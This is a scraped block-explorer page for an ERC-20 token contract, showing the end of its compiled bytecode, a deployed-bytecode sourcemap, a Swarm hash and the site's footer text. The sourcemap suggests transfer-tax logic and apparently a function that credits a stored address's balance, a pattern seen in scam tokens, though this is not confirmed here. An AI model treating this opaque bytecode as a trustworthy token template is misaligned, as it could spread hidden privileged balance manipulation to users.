518110610ef757610ef76114c6565b6001600160a01b039283166020918202929092010152600a54610f1d913091168461098b565b600a5460035460405163791ac94760e01b81526001600160a01b039283169263791ac94792610f6192879260009288926101009091049091169042906004016114dc565b600060405180830381600087803b158015610f7b57600080fd5b505af1925050508015610f8c575060015b505050600b805460ff60a01b19169055565b60006105b783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cff565b6001600160a01b038316600090815260076020526040812054819060ff1615611021576064611010846002611379565b61101a919061154d565b905061105c565b6001600160a01b03841660009081526007602052604090205460ff161561105c57606461104f846002611379565b611059919061154d565b90505b6001600160a01b038516600090815260086020526040902054156110885761108583600461115c565b90505b80156110f35730600090815260046020526040812080548392906110ad908490611390565b909155505060405181815230906001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b610d308382610f9e565b60008061110a8385611390565b9050838110156105b75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610614565b60008260000361116e5750600061054d565b600061117a8385611379565b905082611187858361154d565b146105b75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610614565b600060208083528351808285015260005b8181101561120b578581018301518582016040015282016111ef565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461124157600080fd5b50565b6000806040838503121561125757600080fd5b82356112628161122c565b946020939093013593505050565b60006020828403121561128257600080fd5b81356105b78161122c565b6000806000606084860312156112a257600080fd5b83356112ad8161122c565b925060208401356112bd8161122c565b929592945050506040919091013590565b600080604083850312156112e157600080fd5b50508035926020909101359150565b6000806040838503121561130357600080fd5b823561130e8161122c565b9150602083013561131e8161122c565b809150509250929050565b600181811c9082168061133d57607f821691505b60208210810361135d57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141761054d5761054d611363565b8082018082111561054d5761054d611363565b600181815b808511156113de5781600019048211156113c4576113c4611363565b808516156113d157918102915b93841c93908002906113a8565b509250929050565b6000826113f55750600161054d565b816114025750600061054d565b816001811461141857600281146114225761143e565b600191505061054d565b60ff84111561143357611433611363565b50506001821b61054d565b5060208310610133831016604e8410600b8410161715611461575081810a61054d565b61146b83836113a3565b806000190482111561147f5761147f611363565b029392505050565b60006105b760ff8416836113e6565b6000602082840312156114a857600080fd5b81516105b78161122c565b8181038181111561054d5761054d611363565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561152c5784516001600160a01b031683529383019391830191600101611507565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261156a57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122042b57ff691cd512bcc9379ef51dcd673b5b929f0ff4dd0acace39bf6e057fe9364736f6c63430008130033
Deployed Bytecode Sourcemap
3966:6325:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5239:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5902:161;;;;;;;;;;-1:-1:-1;5902:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;5902:161:0;1023:187:1;4516:39:0;;;;;;;;;;-1:-1:-1;4516:39:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;1613:25:1;;;1601:2;1586:18;4516:39:0;1467:177:1;4630:41:0;;;;;;;;;;-1:-1:-1;4630:41:0;;;;-1:-1:-1;;;;;4630:41:0;;;;;;-1:-1:-1;;;;;1839:32:1;;;1821:51;;1809:2;1794:18;4630:41:0;1649:229:1;5516:100:0;;;;;;;;;;-1:-1:-1;5596:12:0;;5516:100;;6453:313;;;;;;;;;;-1:-1:-1;6453:313:0;;;;;:::i;:::-;;:::i;4204:81::-;;;;;;;;;;;;;;;5425:83;;;;;;;;;;-1:-1:-1;5491:9:0;;5425:83;;5491:9;;;;2694:36:1;;2682:2;2667:18;5425:83:0;2552:184:1;4413:50:0;;;;;;;;;;-1:-1:-1;4413:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3256:157;;;;;;;;;;-1:-1:-1;3256:157:0;;;;;:::i;:::-;;:::i;:::-;;9469:271;;;;;;;;;;-1:-1:-1;9469:271:0;;;;;:::i;:::-;;:::i;4167:30::-;;;;;;;;;;-1:-1:-1;4167:30:0;;;;;;;-1:-1:-1;;;;;4167:30:0;;;4745:40;;;;;;;;;;-1:-1:-1;4745:40:0;;;;-1:-1:-1;;;4745:40:0;;;;;;5624:119;;;;;;;;;;-1:-1:-1;5624:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5717:18:0;5690:7;5717:18;;;:9;:18;;;;;;;5624:119;6949:465;;;;;;;;;;;;;:::i;3042:79::-;;;;;;;;;;-1:-1:-1;3080:7:0;3107:6;-1:-1:-1;;;;;3107:6:0;3042:79;;5330:87;;;;;;;;;;;;;:::i;6774:167::-;;;;;;;;;;-1:-1:-1;6774:167:0;;;;;:::i;:::-;;:::i;4470:39::-;;;;;;;;;;-1:-1:-1;4470:39:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;4678:26;;;;;;;;;;-1:-1:-1;4678:26:0;;;;-1:-1:-1;;;;;4678:26:0;;;9254:207;;;;;;;;;;-1:-1:-1;9254:207:0;;;;;:::i;:::-;;:::i;5751:143::-;;;;;;;;;;-1:-1:-1;5751:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;5859:18:0;;;5832:7;5859:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5751:143;5239:83;5276:13;5309:5;5302:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5239:83;:::o;5902:161::-;5977:4;5994:39;481:10;6017:7;6026:6;5994:8;:39::i;:::-;-1:-1:-1;6051:4:0;5902:161;;;;;:::o;6453:313::-;6551:4;6568:36;6578:6;6586:9;6597:6;6568:9;:36::i;:::-;-1:-1:-1;6615:121:0;6624:6;481:10;6646:89;6684:6;6646:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6646:19:0;;;;;;:11;:19;;;;;;;;481:10;6646:33;;;;;;;;;;:37;:89::i;:::-;6615:8;:121::i;:::-;-1:-1:-1;6754:4:0;6453:313;;;;;;:::o;3256:157::-;3169:6;;-1:-1:-1;;;;;3169:6:0;481:10;3169:22;3161:67;;;;-1:-1:-1;;;3161:67:0;;4198:2:1;3161:67:0;;;4180:21:1;;;4217:18;;;4210:30;4276:34;4256:18;;;4249:62;4328:18;;3161:67:0;;;;;;;;;3330:6:::1;:19:::0;;-1:-1:-1;;;;;;3330:19:0::1;-1:-1:-1::0;;;;;3330:19:0;::::1;::::0;;::::1;::::0;;3365:40:::1;::::0;3330:19;;;;3365:40:::1;::::0;3330:6;3365:40:::1;3256:157:::0;:::o;9469:271::-;9542:5;9535:4;:12;9531:75;;;9586:6;:4;9591:1;9586:6;:::i;:::-;:8;;9593:1;9586:8;:::i;:::-;9574:7;;;;;-1:-1:-1;;;;;9574:7:0;9564:18;;;;:9;:18;;;;;:30;;:18;;;:30;;;;;:::i;:::-;;;;-1:-1:-1;;9531:75:0;9620:31;9635:10;9646:4;9620:14;:31::i;:::-;9616:53;;;-1:-1:-1;;;;;9654:9:0;;9666:1;9654:9;;;:3;:9;;;;;:13;9616:53;9683:26;9698:5;9704:4;9683:14;:26::i;:::-;9679:54;;;9724:7;9730:1;9724:4;:7;:::i;:::-;-1:-1:-1;;;;;9712:9:0;;;;;;:3;:9;;;;;:19;9679:54;9469:271;;:::o;6949:465::-;3169:6;;-1:-1:-1;;;;;3169:6:0;481:10;3169:22;3161:67;;;;-1:-1:-1;;;3161:67:0;;4198:2:1;3161:67:0;;;4180:21:1;;;4217:18;;;4210:30;4276:34;4256:18;;;4249:62;4328:18;;3161:67:0;3996:356:1;3161:67:0;6998:35:::1;7055:42;6998:100;;7141:16;-1:-1:-1::0;;;;;7141:24:0::1;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7123:70:0::1;;7202:4;7209:16;-1:-1:-1::0;;;;;7209:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7123:110;::::0;-1:-1:-1;;;;;;7123:110:0::1;::::0;;;;;;-1:-1:-1;;;;;6661:15:1;;;7123:110:0::1;::::0;::::1;6643:34:1::0;6713:15;;6693:18;;;6686:43;6578:18;;7123:110:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7109:11;:124:::0;;-1:-1:-1;;;;;7109:124:0;;::::1;-1:-1:-1::0;;;;;;7109:124:0;;::::1;::::0;::::1;::::0;;;7246:15:::1;:34:::0;;;;::::1;::::0;;;::::1;::::0;;;::::1;::::0;;7109:11:::1;7291:28:::0;;;:6:::1;:28;::::0;;;;;;;:35;;-1:-1:-1;;7291:35:0::1;7109:124:::0;7291:35:::1;::::0;;7392:12:::1;::::0;7357:4:::1;7337:26:::0;;:11:::1;:26:::0;;;;;7372:15;;;;::::1;7337:52:::0;;;;;;;;;:67;6949:465::o;5330:87::-;5369:13;5402:7;5395:14;;;;;:::i;6774:167::-;6852:4;6869:42;481:10;6893:9;6904:6;6869:9;:42::i;9254:207::-;9409:7;;9321:4;;9353:1;;9380:10;;9409:7;;;-1:-1:-1;;;;;9409:7:0;:15;;9401:24;;;;;;-1:-1:-1;9443:10:0;;;;9254:207;-1:-1:-1;;9254:207:0:o;6071:337::-;-1:-1:-1;;;;;6164:19:0;;6156:68;;;;-1:-1:-1;;;6156:68:0;;6942:2:1;6156:68:0;;;6924:21:1;6981:2;6961:18;;;6954:30;7020:34;7000:18;;;6993:62;-1:-1:-1;;;7071:18:1;;;7064:34;7115:19;;6156:68:0;6740:400:1;6156:68:0;-1:-1:-1;;;;;6243:21:0;;6235:68;;;;-1:-1:-1;;;6235:68:0;;7347:2:1;6235:68:0;;;7329:21:1;7386:2;7366:18;;;7359:30;7425:34;7405:18;;;7398:62;-1:-1:-1;;;7476:18:1;;;7469:32;7518:19;;6235:68:0;7145:398:1;6235:68:0;-1:-1:-1;;;;;6316:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6368:32;;1613:25:1;;;6368:32:0;;1586:18:1;6368:32:0;;;;;;;6071:337;;;:::o;7422:990::-;7500:4;-1:-1:-1;;;;;7527:18:0;;7519:68;;;;-1:-1:-1;;;7519:68:0;;7750:2:1;7519:68:0;;;7732:21:1;7789:2;7769:18;;;7762:30;7828:34;7808:18;;;7801:62;-1:-1:-1;;;7879:18:1;;;7872:35;7924:19;;7519:68:0;7548:401:1;7519:68:0;-1:-1:-1;;;;;7606:16:0;;7598:64;;;;-1:-1:-1;;;7598:64:0;;8156:2:1;7598:64:0;;;8138:21:1;8195:2;8175:18;;;8168:30;8234:34;8214:18;;;8207:62;-1:-1:-1;;;8285:18:1;;;8278:33;8328:19;;7598:64:0;7954:399:1;7598:64:0;7686:16;;-1:-1:-1;;;7686:16:0;;;;7683:722;;;7735:32;7750:4;7756:2;7760:6;7735:14;:32::i;:::-;7728:39;;;;7683:722;7868:4;7819:28;5717:18;;;:9;:18;;;;;;7894:16;;-1:-1:-1;;;7894:16:0;;;;7893:17;:34;;;;-1:-1:-1;;;;;;7915:12:0;;;;;;:6;:12;;;;;;;;7914:13;7893:34;7889:124;;;7961:36;7976:20;7961:14;:36::i;:::-;-1:-1:-1;;;;;8047:15:0;;;;;;:9;:15;;;;;;:27;;8067:6;8047:19;:27::i;:::-;-1:-1:-1;;;;;8029:15:0;;;;;;:9;:15;;;;;;;;:45;;;;8112:17;:23;;;;;;;;;:48;;-1:-1:-1;;;;;;8139:21:0;;;;;;:17;:21;;;;;;;;8112:48;8111:128;;8216:23;8222:4;8228:2;8232:6;8216:5;:23::i;:::-;8111:128;;;8207:6;8111:128;-1:-1:-1;;;;;8284:13:0;;;;;;:9;:13;;;;;;8089:150;;-1:-1:-1;8284:30:0;;8089:150;8284:17;:30::i;:::-;-1:-1:-1;;;;;8268:13:0;;;;;;;:9;:13;;;;;;;:46;;;;8336:31;;;;;;;;;;8355:11;1613:25:1;;1601:2;1586:18;;1467:177;8336:31:0;;;;;;;;8389:4;8382:11;;;;;;1667:192;1753:7;1789:12;1781:6;;;;1773:29;;;;-1:-1:-1;;;1773:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1813:9:0;1825:5;1829:1;1825;:5;:::i;:::-;1813:17;1667:192;-1:-1:-1;;;;;1667:192:0:o;8420:330::-;8550:53;;;;;;;;;;;-1:-1:-1;;;8550:53:0;;;;;;;;-1:-1:-1;;;;;8550:17:0;;8513:4;8550:17;;;:9;:17;;;;;;;:53;;8572:6;;8550:21;:53::i;:::-;-1:-1:-1;;;;;8530:17:0;;;;;;;:9;:17;;;;;;:73;;;;8637:20;;;;;;;:32;;8662:6;8637:24;:32::i;:::-;-1:-1:-1;;;;;8614:20:0;;;;;;;:9;:20;;;;;;;:55;;;;8685:35;;;;;;;;;;8713:6;1613:25:1;;1601:2;1586:18;;1467:177;8685:35:0;;;;;;;;-1:-1:-1;8738:4:0;8420:330;;;;;:::o;8758:488::-;4826:16;:23;;-1:-1:-1;;;;4826:23:0;-1:-1:-1;;;4826:23:0;;;8853:16:::1;::::0;;8867:1:::1;8853:16:::0;;;;;::::1;::::0;;-1:-1:-1;;8853:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;8853:16:0::1;8829:40;;8898:4;8880;8885:1;8880:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8880:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;8924:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;8924:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;8880:7;;8924:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8914:4;8919:1;8914:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8914:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;8991:15:::1;::::0;8959:57:::1;::::0;8976:4:::1;::::0;8991:15:::1;9009:6:::0;8959:8:::1;:57::i;:::-;9033:15;::::0;9179:7:::1;::::0;9033:195:::1;::::0;-1:-1:-1;;;9033:195:0;;-1:-1:-1;;;;;9033:15:0;;::::1;::::0;:66:::1;::::0;:195:::1;::::0;9114:6;;9033:15:::1;::::0;9152:4;;9033:15:::1;9179:7:::0;;::::1;::::0;;::::1;::::0;9202:15:::1;::::0;9033:195:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;9029:210:::0;-1:-1:-1;;4872:16:0;:24;;-1:-1:-1;;;;4872:24:0;;;8758:488::o;1523:136::-;1581:7;1608:43;1612:1;1615;1608:43;;;;;;;;;;;;;;;;;:3;:43::i;9748:534::-;-1:-1:-1;;;;;9881:14:0;;9833:7;9881:14;;;:6;:14;;;;;;9833:7;;9881:14;;9878:152;;;9935:3;9921:11;:7;9931:1;9921:11;:::i;:::-;:17;;;;:::i;:::-;9912:26;;9878:152;;;-1:-1:-1;;;;;9958:17:0;;;;;;:6;:17;;;;;;;;9955:75;;;10015:3;10001:11;:7;10011:1;10001:11;:::i;:::-;:17;;;;:::i;:::-;9992:26;;9955:75;-1:-1:-1;;;;;10045:11:0;;;;;;:3;:11;;;;;;:16;10042:46;;10072:16;:7;10084:3;10072:11;:16::i;:::-;10063:25;;10042:46;10104:10;;10101:135;;10149:4;10131:24;;;;:9;:24;;;;;:34;;10159:6;;10131:24;:34;;10159:6;;10131:34;:::i;:::-;;;;-1:-1:-1;;10185:39:0;;1613:25:1;;;10210:4:0;;-1:-1:-1;;;;;10185:39:0;;;;;1601:2:1;1586:18;10185:39:0;;;;;;;10101:135;10255:19;:7;10267:6;10255:11;:19::i;1332:181::-;1390:7;;1422:5;1426:1;1422;:5;:::i;:::-;1410:17;;1451:1;1446;:6;;1438:46;;;;-1:-1:-1;;;1438:46:0;;10164:2:1;1438:46:0;;;10146:21:1;10203:2;10183:18;;;10176:30;10242:29;10222:18;;;10215:57;10289:18;;1438:46:0;9962:351:1;1865:248:0;1923:7;1947:1;1952;1947:6;1943:47;;-1:-1:-1;1977:1:0;1970:8;;1943:47;2000:9;2012:5;2016:1;2012;:5;:::i;:::-;2000:17;-1:-1:-1;2045:1:0;2036:5;2040:1;2000:17;2036:5;:::i;:::-;:10;2028:56;;;;-1:-1:-1;;;2028:56:0;;10520:2:1;2028:56:0;;;10502:21:1;10559:2;10539:18;;;10532:30;10598:34;10578:18;;;10571:62;-1:-1:-1;;;10649:18:1;;;10642:31;10690:19;;2028:56:0;10318:397:1;14:548;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1215:247::-;1274:6;1327:2;1315:9;1306:7;1302:23;1298:32;1295:52;;;1343:1;1340;1333:12;1295:52;1382:9;1369:23;1401:31;1426:5;1401:31;:::i;1883:456::-;1960:6;1968;1976;2029:2;2017:9;2008:7;2004:23;2000:32;1997:52;;;2045:1;2042;2035:12;1997:52;2084:9;2071:23;2103:31;2128:5;2103:31;:::i;:::-;2153:5;-1:-1:-1;2210:2:1;2195:18;;2182:32;2223:33;2182:32;2223:33;:::i;:::-;1883:456;;2275:7;;-1:-1:-1;;;2329:2:1;2314:18;;;;2301:32;;1883:456::o;2965:248::-;3033:6;3041;3094:2;3082:9;3073:7;3069:23;3065:32;3062:52;;;3110:1;3107;3100:12;3062:52;-1:-1:-1;;3133:23:1;;;3203:2;3188:18;;;3175:32;;-1:-1:-1;2965:248:1:o;3218:388::-;3286:6;3294;3347:2;3335:9;3326:7;3322:23;3318:32;3315:52;;;3363:1;3360;3353:12;3315:52;3402:9;3389:23;3421:31;3446:5;3421:31;:::i;:::-;3471:5;-1:-1:-1;3528:2:1;3513:18;;3500:32;3541:33;3500:32;3541:33;:::i;:::-;3593:7;3583:17;;;3218:388;;;;;:::o;3611:380::-;3690:1;3686:12;;;;3733;;;3754:61;;3808:4;3800:6;3796:17;3786:27;;3754:61;3861:2;3853:6;3850:14;3830:18;3827:38;3824:161;;3907:10;3902:3;3898:20;3895:1;3888:31;3942:4;3939:1;3932:15;3970:4;3967:1;3960:15;3824:161;;3611:380;;;:::o;4357:127::-;4418:10;4413:3;4409:20;4406:1;4399:31;4449:4;4446:1;4439:15;4473:4;4470:1;4463:15;4489:168;4562:9;;;4593;;4610:15;;;4604:22;;4590:37;4580:71;;4631:18;;:::i;4662:125::-;4727:9;;;4748:10;;;4745:36;;;4761:18;;:::i;4792:422::-;4881:1;4924:5;4881:1;4938:270;4959:7;4949:8;4946:21;4938:270;;;5018:4;5014:1;5010:6;5006:17;5000:4;4997:27;4994:53;;;5027:18;;:::i;:::-;5077:7;5067:8;5063:22;5060:55;;;5097:16;;;;5060:55;5176:22;;;;5136:15;;;;4938:270;;;4942:3;4792:422;;;;;:::o;5219:806::-;5268:5;5298:8;5288:80;;-1:-1:-1;5339:1:1;5353:5;;5288:80;5387:4;5377:76;;-1:-1:-1;5424:1:1;5438:5;;5377:76;5469:4;5487:1;5482:59;;;;5555:1;5550:130;;;;5462:218;;5482:59;5512:1;5503:10;;5526:5;;;5550:130;5587:3;5577:8;5574:17;5571:43;;;5594:18;;:::i;:::-;-1:-1:-1;;5650:1:1;5636:16;;5665:5;;5462:218;;5764:2;5754:8;5751:16;5745:3;5739:4;5736:13;5732:36;5726:2;5716:8;5713:16;5708:2;5702:4;5699:12;5695:35;5692:77;5689:159;;;-1:-1:-1;5801:19:1;;;5833:5;;5689:159;5880:34;5905:8;5899:4;5880:34;:::i;:::-;5950:6;5946:1;5942:6;5938:19;5929:7;5926:32;5923:58;;;5961:18;;:::i;:::-;5999:20;;5219:806;-1:-1:-1;;;5219:806:1:o;6030:140::-;6088:5;6117:47;6158:4;6148:8;6144:19;6138:4;6117:47;:::i;6175:251::-;6245:6;6298:2;6286:9;6277:7;6273:23;6269:32;6266:52;;;6314:1;6311;6304:12;6266:52;6346:9;6340:16;6365:31;6390:5;6365:31;:::i;8358:128::-;8425:9;;;8446:11;;;8443:37;;;8460:18;;:::i;8623:127::-;8684:10;8679:3;8675:20;8672:1;8665:31;8715:4;8712:1;8705:15;8739:4;8736:1;8729:15;8755:980;9017:4;9065:3;9054:9;9050:19;9096:6;9085:9;9078:25;9122:2;9160:6;9155:2;9144:9;9140:18;9133:34;9203:3;9198:2;9187:9;9183:18;9176:31;9227:6;9262;9256:13;9293:6;9285;9278:22;9331:3;9320:9;9316:19;9309:26;;9370:2;9362:6;9358:15;9344:29;;9391:1;9401:195;9415:6;9412:1;9409:13;9401:195;;;9480:13;;-1:-1:-1;;;;;9476:39:1;9464:52;;9571:15;;;;9536:12;;;;9512:1;9430:9;9401:195;;;-1:-1:-1;;;;;;;9652:32:1;;;;9647:2;9632:18;;9625:60;-1:-1:-1;;;9716:3:1;9701:19;9694:35;9613:3;8755:980;-1:-1:-1;;;8755:980:1:o;9740:217::-;9780:1;9806;9796:132;;9850:10;9845:3;9841:20;9838:1;9831:31;9885:4;9882:1;9875:15;9913:4;9910:1;9903:15;9796:132;-1:-1:-1;9942:9:1;;9740:217::o
Swarm Source
ipfs://42b57ff691cd512bcc9379ef51dcd673b5b929f0ff4dd0acace39bf6e057fe93
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.